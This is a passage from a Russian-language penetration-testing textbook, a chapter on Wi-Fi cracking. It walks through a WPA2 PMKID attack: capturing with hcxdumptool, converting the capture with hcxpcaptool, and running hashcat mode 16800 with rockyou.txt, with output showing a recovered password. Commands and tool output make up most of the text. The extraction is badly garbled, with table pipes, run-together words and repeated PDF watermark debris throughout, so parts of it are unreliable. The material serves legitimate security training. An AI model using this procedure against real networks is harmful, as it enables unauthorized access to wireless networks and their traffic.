[18:31:10 – 001] 84a06ec17ddd -> e80401cf4fff [FOUND PMKID CLIENT-LESS] |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
[18:31:10 – 001] 84a06ec17eee -> e80401cf4aaa [AUTHENTICATION, OPEN SYSTEM, STATUS 0, SEQUENCE |
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
2424] |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
... |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
INFO: cha=1, rx=360700, rx(dropped)=106423, tx=9561, powned=21, err=0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
INFO: cha=11, rx=361509, rx(dropped)=106618, tx=9580, powned=21, err=0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
Убедитесь, что вы применили аргумент -filterlist_ap с MAC-ад |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
ресом вашей цели при использовании Hcxdumptool, чтобы случайно |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
не взломать пароль для сети, для которой у вас нет разрешения. Па- |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
раметр --filtermode заносит в черный список (1) или белый список |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
(2) значения в вашем списке, а затем либо избегает их, либо ориен- |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
тируется на них. В нашем примере мы перечислили эти MAC-адреса |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
в файле whitelist.txt. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
В результате была обнаружена потенциально уязвимая сеть, иден- |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
тифицированная тегом [FOUND PMKID]. Как только вы увидите этот |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
тег,можно прекратитьсбортрафика.Только учтите,что этого момен- |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
та,возможно,придетсяподождать.Крометого,посколькуполеPMKID |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
является необязательным, не все существующие AP будут его иметь. |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
Теперь нам нужно преобразовать захваченные данные, которые |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
включают данные PMKID в формате pcapng, в формат, который мо- |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
жет распознать Hashcat.Hashcat принимает хеши в качестве входных |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
данных. Мы можем сгенерировать хеш из данных с помощью |
hcxp- |
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
captool: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
$ hcxpcaptool -z out sep.pcapng |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
reading from sep.pcapng-2 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
summary: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
-------- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
file name.................... |
: sep.pcapng-2 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
file type.................... |
: pcapng 1.0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
file hardware information.... |
: x86_64 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
file os information.......... |
: Linux 5.2.0-kali2-amd64 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
file application information.: hcxdumptool 5.1.4 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
network type................. |
: DLT_IEEE802_11_RADIO (127) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
endianness................... |
: little endian |
|
|
|
|
|
|
|
|
|
|
|
|
|
350 Глава 12
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
read errors.................. |
: |
flawless |
|
packets inside............... |
: |
171 |
|
skipped packets.............. |
: |
0 |
|
packets with GPS data........ |
: |
0 |
|
packets with FCS............. |
: |
0 |
|
beacons (with ESSID inside).. |
: |
22 |
|
probe requests............... |
: |
9 |
|
probe responses.............. |
: |
6 |
|
association requests......... |
: |
1 |
|
association responses........ |
: |
10 |
|
reassociation requests....... |
: |
1 |
|
reassociation responses...... |
: |
1 |
|
authentications (OPEN SYSTEM): |
47 |
|
|
authentications (BROADCOM)... |
: |
46 |
|
authentications (APPLE)...... |
: |
1 |
|
EAPOL packets (total)........ |
: |
72 |
|
EAPOL packets (WPA2)......... |
: |
72 |
|
EAPOL PMKIDs (total)......... |
: |
19 |
|
EAPOL PMKIDs (WPA2).......... |
: |
19 |
|
best handshakes.............. |
: |
3 |
(ap-less: 0) |
best PMKIDs.................. |
: |
8 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
8 PMKID(s) written in old hashcat format (<= 5.1.0) to out
Эта команда создает новый вызываемый файл, содержащий дан- ные в следующем формате:
37edb542e507ba7b2a254d93b3c22fae*b4750e5a1387*6045bdede0e2*4b61746879
Этот формат с разделителями * содержит значение PMKID, MACадрес точки доступа, MAC-адрес беспроводной станции и ESSID. Соз- дайтеновуюзаписьдлякаждойидентифицируемойвамисетиPMKID.
Теперь используйте модуль Hashcat 16800, чтобы взломать пароль уязвимой сети. Единственное, чего не хватает, – это списка слов, со- держащего потенциальные пароли для точки доступа.Мы воспользу- емся классическим списком слов rockyou.txt.
$ cd /usr/share/wordlists/ && gunzip -d rockyou.txt.gz $ hashcat -m16800 ./out /usr/share/wordlists/rockyou.txt
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 970M, 768/3072 MB allocatable, 10MCU OpenCL Platform #2: Intel(R) Corporation
Rules: 1
...
.37edb542e507ba7b2a254d93b3c22fae*b4750e5a1387*6045bdede0e2*4b61746879: purple123 Session..........: hashcat
Status...........: Cracked Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: 37edb542e507ba7b2a254d93b3c22fae*b4750e5a1387*6045b...746879
Радиоканалы средней дальности: взлом Wi-Fi 351